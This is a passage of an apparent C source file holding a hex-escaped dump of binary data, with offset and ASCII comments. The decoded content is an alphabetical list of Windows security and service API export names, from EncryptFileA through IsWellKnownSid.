//ortEventA.ElfRep\n/* 005880 */   \"\\x6F\\x72\\x74\\x45\\x76\\x65\\x6E\\x74\\x57\\x00\\x45\\x6E\\x61\\x62\\x6C\\x65\"   //ortEventW.Enable\n/* 0058A0 */   \"\\x54\\x72\\x61\\x63\\x65\\x00\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x46\\x69\\x6C\"   //Trace.EncryptFil\n/* 0058C0 */   \"\\x65\\x41\\x00\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\"   //eA.EncryptFileW.\n/* 0058E0 */   \"\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x4B\\x65\\x79\"   //EncryptedFileKey\n/* 005900 */   \"\\x49\\x6E\\x66\\x6F\\x00\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\\x6F\\x6E\\x44\"   //Info.EncryptionD\n/* 005920 */   \"\\x69\\x73\\x61\\x62\\x6C\\x65\\x00\\x45\\x6E\\x75\\x6D\\x44\\x65\\x70\\x65\\x6E\"   //isable.EnumDepen\n/* 005940 */   \"\\x64\\x65\\x6E\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x41\\x00\\x45\\x6E\"   //dentServicesA.En\n/* 005960 */   \"\\x75\\x6D\\x44\\x65\\x70\\x65\\x6E\\x64\\x65\\x6E\\x74\\x53\\x65\\x72\\x76\\x69\"   //umDependentServi\n/* 005980 */   \"\\x63\\x65\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //cesW.EnumService\n/* 0059A0 */   \"\\x47\\x72\\x6F\\x75\\x70\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\"   //GroupW.EnumServi\n/* 0059C0 */   \"\\x63\\x65\\x73\\x53\\x74\\x61\\x74\\x75\\x73\\x41\\x00\\x45\\x6E\\x75\\x6D\\x53\"   //cesStatusA.EnumS\n/* 0059E0 */   \"\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x53\\x74\\x61\\x74\\x75\\x73\\x45\\x78\\x41\"   //ervicesStatusExA\n/* 005A00 */   \"\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x73\\x53\\x74\\x61\"   //.EnumServicesSta\n/* 005A20 */   \"\\x74\\x75\\x73\\x45\\x78\\x57\\x00\\x45\\x6E\\x75\\x6D\\x53\\x65\\x72\\x76\\x69\"   //tusExW.EnumServi\n/* 005A40 */   \"\\x63\\x65\\x73\\x53\\x74\\x61\\x74\\x75\\x73\\x57\\x00\\x45\\x6E\\x75\\x6D\\x65\"   //cesStatusW.Enume\n/* 005A60 */   \"\\x72\\x61\\x74\\x65\\x54\\x72\\x61\\x63\\x65\\x47\\x75\\x69\\x64\\x73\\x00\\x45\"   //rateTraceGuids.E\n/* 005A80 */   \"\\x71\\x75\\x61\\x6C\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x53\\x69\\x64\\x00\\x45\\x71\"   //qualDomainSid.Eq\n/* 005AA0 */   \"\\x75\\x61\\x6C\\x50\\x72\\x65\\x66\\x69\\x78\\x53\\x69\\x64\\x00\\x45\\x71\\x75\"   //ualPrefixSid.Equ\n/* 005AC0 */   \"\\x61\\x6C\\x53\\x69\\x64\\x00\\x46\\x69\\x6C\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\"   //alSid.FileEncryp\n/* 005AE0 */   \"\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\\x74\\x75\\x73\\x41\\x00\\x46\\x69\\x6C\\x65\"   //tionStatusA.File\n/* 005B00 */   \"\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\\x6F\\x6E\\x53\\x74\\x61\\x74\\x75\\x73\"   //EncryptionStatus\n/* 005B20 */   \"\\x57\\x00\\x46\\x69\\x6E\\x64\\x46\\x69\\x72\\x73\\x74\\x46\\x72\\x65\\x65\\x41\"   //W.FindFirstFreeA\n/* 005B40 */   \"\\x63\\x65\\x00\\x46\\x6C\\x75\\x73\\x68\\x54\\x72\\x61\\x63\\x65\\x41\\x00\\x46\"   //ce.FlushTraceA.F\n/* 005B60 */   \"\\x6C\\x75\\x73\\x68\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x46\\x72\\x65\\x65\\x45\"   //lushTraceW.FreeE\n/* 005B80 */   \"\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x4B\\x65\\x79\\x49\"   //ncryptedFileKeyI\n/* 005BA0 */   \"\\x6E\\x66\\x6F\\x00\\x46\\x72\\x65\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\"   //nfo.FreeEncrypti\n/* 005BC0 */   \"\\x6F\\x6E\\x43\\x65\\x72\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x65\\x48\\x61\\x73\"   //onCertificateHas\n/* 005BE0 */   \"\\x68\\x4C\\x69\\x73\\x74\\x00\\x46\\x72\\x65\\x65\\x49\\x6E\\x68\\x65\\x72\\x69\"   //hList.FreeInheri\n/* 005C00 */   \"\\x74\\x65\\x64\\x46\\x72\\x6F\\x6D\\x41\\x72\\x72\\x61\\x79\\x00\\x46\\x72\\x65\"   //tedFromArray.Fre\n/* 005C20 */   \"\\x65\\x53\\x69\\x64\\x00\\x47\\x65\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x50\\x65\"   //eSid.GetAccessPe\n/* 005C40 */   \"\\x72\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\\x73\\x46\\x6F\\x72\\x4F\\x62\\x6A\\x65\"   //rmissionsForObje\n/* 005C60 */   \"\\x63\\x74\\x41\\x00\\x47\\x65\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x50\\x65\\x72\"   //ctA.GetAccessPer\n/* 005C80 */   \"\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\\x73\\x46\\x6F\\x72\\x4F\\x62\\x6A\\x65\\x63\"   //missionsForObjec\n/* 005CA0 */   \"\\x74\\x57\\x00\\x47\\x65\\x74\\x41\\x63\\x65\\x00\\x47\\x65\\x74\\x41\\x63\\x6C\"   //tW.GetAce.GetAcl\n/* 005CC0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x41\"   //Information.GetA\n/* 005CE0 */   \"\\x75\\x64\\x69\\x74\\x65\\x64\\x50\\x65\\x72\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\"   //uditedPermission\n/* 005D00 */   \"\\x73\\x46\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x41\\x00\\x47\\x65\\x74\\x41\\x75\\x64\"   //sFromAclA.GetAud\n/* 005D20 */   \"\\x69\\x74\\x65\\x64\\x50\\x65\\x72\\x6D\\x69\\x73\\x73\\x69\\x6F\\x6E\\x73\\x46\"   //itedPermissionsF\n/* 005D40 */   \"\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x57\\x00\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\"   //romAclW.GetCurre\n/* 005D60 */   \"\\x6E\\x74\\x48\\x77\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x41\\x00\\x47\\x65\\x74\"   //ntHwProfileA.Get\n/* 005D80 */   \"\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x48\\x77\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\"   //CurrentHwProfile\n/* 005DA0 */   \"\\x57\\x00\\x47\\x65\\x74\\x45\\x66\\x66\\x65\\x63\\x74\\x69\\x76\\x65\\x52\\x69\"   //W.GetEffectiveRi\n/* 005DC0 */   \"\\x67\\x68\\x74\\x73\\x46\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x41\\x00\\x47\\x65\\x74\"   //ghtsFromAclA.Get\n/* 005DE0 */   \"\\x45\\x66\\x66\\x65\\x63\\x74\\x69\\x76\\x65\\x52\\x69\\x67\\x68\\x74\\x73\\x46\"   //EffectiveRightsF\n/* 005E00 */   \"\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x57\\x00\\x47\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\"   //romAclW.GetEvent\n/* 005E20 */   \"\\x4C\\x6F\\x67\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\"   //LogInformation.G\n/* 005E40 */   \"\\x65\\x74\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\"   //etExplicitEntrie\n/* 005E60 */   \"\\x73\\x46\\x72\\x6F\\x6D\\x41\\x63\\x6C\\x41\\x00\\x47\\x65\\x74\\x45\\x78\\x70\"   //sFromAclA.GetExp\n/* 005E80 */   \"\\x6C\\x69\\x63\\x69\\x74\\x45\\x6E\\x74\\x72\\x69\\x65\\x73\\x46\\x72\\x6F\\x6D\"   //licitEntriesFrom\n/* 005EA0 */   \"\\x41\\x63\\x6C\\x57\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\\x75\"   //AclW.GetFileSecu\n/* 005EC0 */   \"\\x72\\x69\\x74\\x79\\x41\\x00\\x47\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\\x65\\x63\"   //rityA.GetFileSec\n/* 005EE0 */   \"\\x75\\x72\\x69\\x74\\x79\\x57\\x00\\x47\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //urityW.GetInform\n/* 005F00 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\\x65\"   //ationCodeAuthzLe\n/* 005F20 */   \"\\x76\\x65\\x6C\\x57\\x00\\x47\\x65\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\"   //velW.GetInformat\n/* 005F40 */   \"\\x69\\x6F\\x6E\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x50\\x6F\\x6C\\x69\"   //ionCodeAuthzPoli\n/* 005F60 */   \"\\x63\\x79\\x57\\x00\\x47\\x65\\x74\\x49\\x6E\\x68\\x65\\x72\\x69\\x74\\x61\\x6E\"   //cyW.GetInheritan\n/* 005F80 */   \"\\x63\\x65\\x53\\x6F\\x75\\x72\\x63\\x65\\x41\\x00\\x47\\x65\\x74\\x49\\x6E\\x68\"   //ceSourceA.GetInh\n/* 005FA0 */   \"\\x65\\x72\\x69\\x74\\x61\\x6E\\x63\\x65\\x53\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\"   //eritanceSourceW.\n/* 005FC0 */   \"\\x47\\x65\\x74\\x4B\\x65\\x72\\x6E\\x65\\x6C\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\"   //GetKernelObjectS\n/* 005FE0 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x4C\\x65\\x6E\\x67\\x74\"   //ecurity.GetLengt\n/* 006000 */   \"\\x68\\x53\\x69\\x64\\x00\\x47\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x4D\\x61\\x6E\"   //hSid.GetLocalMan\n/* 006020 */   \"\\x61\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x44\"   //agedApplicationD\n/* 006040 */   \"\\x61\\x74\\x61\\x00\\x47\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x4D\\x61\\x6E\\x61\"   //ata.GetLocalMana\n/* 006060 */   \"\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x73\\x00\"   //gedApplications.\n/* 006080 */   \"\\x47\\x65\\x74\\x4D\\x61\\x6E\\x61\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\"   //GetManagedApplic\n/* 0060A0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x43\\x61\\x74\\x65\\x67\\x6F\\x72\\x69\\x65\\x73\\x00\"   //ationCategories.\n/* 0060C0 */   \"\\x47\\x65\\x74\\x4D\\x61\\x6E\\x61\\x67\\x65\\x64\\x41\\x70\\x70\\x6C\\x69\\x63\"   //GetManagedApplic\n/* 0060E0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x73\\x00\\x47\\x65\\x74\\x4D\\x75\\x6C\\x74\\x69\\x70\"   //ations.GetMultip\n/* 006100 */   \"\\x6C\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x41\\x00\\x47\\x65\\x74\\x4D\\x75\"   //leTrusteeA.GetMu\n/* 006120 */   \"\\x6C\\x74\\x69\\x70\\x6C\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4F\\x70\\x65\"   //ltipleTrusteeOpe\n/* 006140 */   \"\\x72\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x47\\x65\\x74\\x4D\\x75\\x6C\\x74\\x69\"   //rationA.GetMulti\n/* 006160 */   \"\\x70\\x6C\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4F\\x70\\x65\\x72\\x61\\x74\"   //pleTrusteeOperat\n/* 006180 */   \"\\x69\\x6F\\x6E\\x57\\x00\\x47\\x65\\x74\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\"   //ionW.GetMultiple\n/* 0061A0 */   \"\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x00\\x47\\x65\\x74\\x4E\\x61\\x6D\\x65\"   //TrusteeW.GetName\n/* 0061C0 */   \"\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x41\\x00\\x47\"   //dSecurityInfoA.G\n/* 0061E0 */   \"\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\"   //etNamedSecurityI\n/* 006200 */   \"\\x6E\\x66\\x6F\\x45\\x78\\x41\\x00\\x47\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\"   //nfoExA.GetNamedS\n/* 006220 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x57\\x00\\x47\"   //ecurityInfoExW.G\n/* 006240 */   \"\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\"   //etNamedSecurityI\n/* 006260 */   \"\\x6E\\x66\\x6F\\x57\\x00\\x47\\x65\\x74\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\"   //nfoW.GetNumberOf\n/* 006280 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x52\\x65\\x63\\x6F\\x72\\x64\\x73\\x00\"   //EventLogRecords.\n/* 0062A0 */   \"\\x47\\x65\\x74\\x4F\\x6C\\x64\\x65\\x73\\x74\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\"   //GetOldestEventLo\n/* 0062C0 */   \"\\x67\\x52\\x65\\x63\\x6F\\x72\\x64\\x00\\x47\\x65\\x74\\x4F\\x76\\x65\\x72\\x6C\"   //gRecord.GetOverl\n/* 0062E0 */   \"\\x61\\x70\\x70\\x65\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x52\\x65\\x73\\x75\\x6C\"   //appedAccessResul\n/* 006300 */   \"\\x74\\x73\\x00\\x47\\x65\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\"   //ts.GetPrivateObj\n/* 006320 */   \"\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x53\"   //ectSecurity.GetS\n/* 006340 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 006360 */   \"\\x72\\x43\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\"   //rControl.GetSecu\n/* 006380 */   \"\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x44\\x61\"   //rityDescriptorDa\n/* 0063A0 */   \"\\x63\\x6C\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\"   //cl.GetSecurityDe\n/* 0063C0 */   \"\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x47\\x72\\x6F\\x75\\x70\\x00\\x47\\x65\"   //scriptorGroup.Ge\n/* 0063E0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\"   //tSecurityDescrip\n/* 006400 */   \"\\x74\\x6F\\x72\\x4C\\x65\\x6E\\x67\\x74\\x68\\x00\\x47\\x65\\x74\\x53\\x65\\x63\"   //torLength.GetSec\n/* 006420 */   \"\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x4F\"   //urityDescriptorO\n/* 006440 */   \"\\x77\\x6E\\x65\\x72\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //wner.GetSecurity\n/* 006460 */   \"\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x52\\x4D\\x43\\x6F\\x6E\\x74\"   //DescriptorRMCont\n/* 006480 */   \"\\x72\\x6F\\x6C\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\"   //rol.GetSecurityD\n/* 0064A0 */   \"\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x53\\x61\\x63\\x6C\\x00\\x47\\x65\"   //escriptorSacl.Ge\n/* 0064C0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x00\\x47\\x65\"   //tSecurityInfo.Ge\n/* 0064E0 */   \"\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\\x45\\x78\\x41\"   //tSecurityInfoExA\n/* 006500 */   \"\\x00\\x47\\x65\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\\x66\\x6F\"   //.GetSecurityInfo\n/* 006520 */   \"\\x45\\x78\\x57\\x00\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x44\\x69\"   //ExW.GetServiceDi\n/* 006540 */   \"\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x53\\x65\"   //splayNameA.GetSe\n/* 006560 */   \"\\x72\\x76\\x69\\x63\\x65\\x44\\x69\\x73\\x70\\x6C\\x61\\x79\\x4E\\x61\\x6D\\x65\"   //rviceDisplayName\n/* 006580 */   \"\\x57\\x00\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4B\\x65\\x79\\x4E\"   //W.GetServiceKeyN\n/* 0065A0 */   \"\\x61\\x6D\\x65\\x41\\x00\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4B\"   //ameA.GetServiceK\n/* 0065C0 */   \"\\x65\\x79\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\\x53\\x69\\x64\\x49\\x64\"   //eyNameW.GetSidId\n/* 0065E0 */   \"\\x65\\x6E\\x74\\x69\\x66\\x69\\x65\\x72\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\"   //entifierAuthorit\n/* 006600 */   \"\\x79\\x00\\x47\\x65\\x74\\x53\\x69\\x64\\x4C\\x65\\x6E\\x67\\x74\\x68\\x52\\x65\"   //y.GetSidLengthRe\n/* 006620 */   \"\\x71\\x75\\x69\\x72\\x65\\x64\\x00\\x47\\x65\\x74\\x53\\x69\\x64\\x53\\x75\\x62\"   //quired.GetSidSub\n/* 006640 */   \"\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x00\\x47\\x65\\x74\\x53\\x69\\x64\"   //Authority.GetSid\n/* 006660 */   \"\\x53\\x75\\x62\\x41\\x75\\x74\\x68\\x6F\\x72\\x69\\x74\\x79\\x43\\x6F\\x75\\x6E\"   //SubAuthorityCoun\n/* 006680 */   \"\\x74\\x00\\x47\\x65\\x74\\x54\\x6F\\x6B\\x65\\x6E\\x49\\x6E\\x66\\x6F\\x72\\x6D\"   //t.GetTokenInform\n/* 0066A0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x00\\x47\\x65\\x74\\x54\\x72\\x61\\x63\\x65\\x45\\x6E\"   //ation.GetTraceEn\n/* 0066C0 */   \"\\x61\\x62\\x6C\\x65\\x46\\x6C\\x61\\x67\\x73\\x00\\x47\\x65\\x74\\x54\\x72\\x61\"   //ableFlags.GetTra\n/* 0066E0 */   \"\\x63\\x65\\x45\\x6E\\x61\\x62\\x6C\\x65\\x4C\\x65\\x76\\x65\\x6C\\x00\\x47\\x65\"   //ceEnableLevel.Ge\n/* 006700 */   \"\\x74\\x54\\x72\\x61\\x63\\x65\\x4C\\x6F\\x67\\x67\\x65\\x72\\x48\\x61\\x6E\\x64\"   //tTraceLoggerHand\n/* 006720 */   \"\\x6C\\x65\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x46\\x6F\\x72\"   //le.GetTrusteeFor\n/* 006740 */   \"\\x6D\\x41\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x46\\x6F\\x72\"   //mA.GetTrusteeFor\n/* 006760 */   \"\\x6D\\x57\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4E\\x61\\x6D\"   //mW.GetTrusteeNam\n/* 006780 */   \"\\x65\\x41\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x4E\\x61\\x6D\"   //eA.GetTrusteeNam\n/* 0067A0 */   \"\\x65\\x57\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x54\\x79\\x70\"   //eW.GetTrusteeTyp\n/* 0067C0 */   \"\\x65\\x41\\x00\\x47\\x65\\x74\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x54\\x79\\x70\"   //eA.GetTrusteeTyp\n/* 0067E0 */   \"\\x65\\x57\\x00\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4E\\x61\\x6D\\x65\\x41\\x00\"   //eW.GetUserNameA.\n/* 006800 */   \"\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4E\\x61\\x6D\\x65\\x57\\x00\\x47\\x65\\x74\"   //GetUserNameW.Get\n/* 006820 */   \"\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x41\\x63\\x63\\x6F\\x75\\x6E\\x74\\x44\\x6F\"   //WindowsAccountDo\n/* 006840 */   \"\\x6D\\x61\\x69\\x6E\\x53\\x69\\x64\\x00\\x49\\x5F\\x53\\x63\\x47\\x65\\x74\\x43\"   //mainSid.I_ScGetC\n/* 006860 */   \"\\x75\\x72\\x72\\x65\\x6E\\x74\\x47\\x72\\x6F\\x75\\x70\\x53\\x74\\x61\\x74\\x65\"   //urrentGroupState\n/* 006880 */   \"\\x57\\x00\\x49\\x5F\\x53\\x63\\x49\\x73\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //W.I_ScIsSecurity\n/* 0068A0 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x00\\x49\\x5F\\x53\\x63\\x50\\x6E\\x50\\x47\"   //Process.I_ScPnPG\n/* 0068C0 */   \"\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4E\\x61\\x6D\\x65\\x00\\x49\\x5F\"   //etServiceName.I_\n/* 0068E0 */   \"\\x53\\x63\\x53\\x65\\x6E\\x64\\x54\\x53\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\"   //ScSendTSMessage.\n/* 006900 */   \"\\x49\\x5F\\x53\\x63\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x42\\x69\"   //I_ScSetServiceBi\n/* 006920 */   \"\\x74\\x73\\x41\\x00\\x49\\x5F\\x53\\x63\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\"   //tsA.I_ScSetServi\n/* 006940 */   \"\\x63\\x65\\x42\\x69\\x74\\x73\\x57\\x00\\x49\\x64\\x65\\x6E\\x74\\x69\\x66\\x79\"   //ceBitsW.Identify\n/* 006960 */   \"\\x43\\x6F\\x64\\x65\\x41\\x75\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x57\\x00\"   //CodeAuthzLevelW.\n/* 006980 */   \"\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x41\\x6E\\x6F\\x6E\\x79\"   //ImpersonateAnony\n/* 0069A0 */   \"\\x6D\\x6F\\x75\\x73\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x49\\x6D\\x70\\x65\\x72\\x73\"   //mousToken.Impers\n/* 0069C0 */   \"\\x6F\\x6E\\x61\\x74\\x65\\x4C\\x6F\\x67\\x67\\x65\\x64\\x4F\\x6E\\x55\\x73\\x65\"   //onateLoggedOnUse\n/* 0069E0 */   \"\\x72\\x00\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x4E\\x61\\x6D\"   //r.ImpersonateNam\n/* 006A00 */   \"\\x65\\x64\\x50\\x69\\x70\\x65\\x43\\x6C\\x69\\x65\\x6E\\x74\\x00\\x49\\x6D\\x70\"   //edPipeClient.Imp\n/* 006A20 */   \"\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x53\\x65\\x6C\\x66\\x00\\x49\\x6E\\x69\"   //ersonateSelf.Ini\n/* 006A40 */   \"\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x41\\x63\\x6C\\x00\\x49\\x6E\\x69\\x74\\x69\"   //tializeAcl.Initi\n/* 006A60 */   \"\\x61\\x6C\\x69\\x7A\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\"   //alizeSecurityDes\n/* 006A80 */   \"\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x6C\\x69\"   //criptor.Initiali\n/* 006AA0 */   \"\\x7A\\x65\\x53\\x69\\x64\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\\x53\\x79\"   //zeSid.InitiateSy\n/* 006AC0 */   \"\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x41\\x00\\x49\\x6E\"   //stemShutdownA.In\n/* 006AE0 */   \"\\x69\\x74\\x69\\x61\\x74\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\"   //itiateSystemShut\n/* 006B00 */   \"\\x64\\x6F\\x77\\x6E\\x45\\x78\\x41\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\"   //downExA.Initiate\n/* 006B20 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x45\\x78\"   //SystemShutdownEx\n/* 006B40 */   \"\\x57\\x00\\x49\\x6E\\x69\\x74\\x69\\x61\\x74\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\"   //W.InitiateSystem\n/* 006B60 */   \"\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x57\\x00\\x49\\x6E\\x73\\x74\\x61\\x6C\"   //ShutdownW.Instal\n/* 006B80 */   \"\\x6C\\x41\\x70\\x70\\x6C\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\\x49\\x73\\x54\"   //lApplication.IsT\n/* 006BA0 */   \"\\x65\\x78\\x74\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x00\\x49\\x73\\x54\\x6F\\x6B\"   //extUnicode.IsTok\n/* 006BC0 */   \"\\x65\\x6E\\x52\\x65\\x73\\x74\\x72\\x69\\x63\\x74\\x65\\x64\\x00\\x49\\x73\\x54\"   //enRestricted.IsT\n/* 006BE0 */   \"\\x6F\\x6B\\x65\\x6E\\x55\\x6E\\x74\\x72\\x75\\x73\\x74\\x65\\x64\\x00\\x49\\x73\"   //okenUntrusted.Is\n/* 006C00 */   \"\\x56\\x61\\x6C\\x69\\x64\\x41\\x63\\x6C\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\\x64\"   //ValidAcl.IsValid\n/* 006C20 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 006C40 */   \"\\x6F\\x72\\x00\\x49\\x73\\x56\\x61\\x6C\\x69\\x64\\x53\\x69\\x64\\x00\\x49\\x73\"   //or.IsValidSid.Is\n/* 006C60 */   \"\\x57\\x65\\x6C\\x6C\\x4B\\x6E\\x6F\\x77\\x6E\\x53\\x69\\x64\\x00\\x4C\\x6F\\x63\"   //WellKnownSid.Loc\n/* 006C80 */   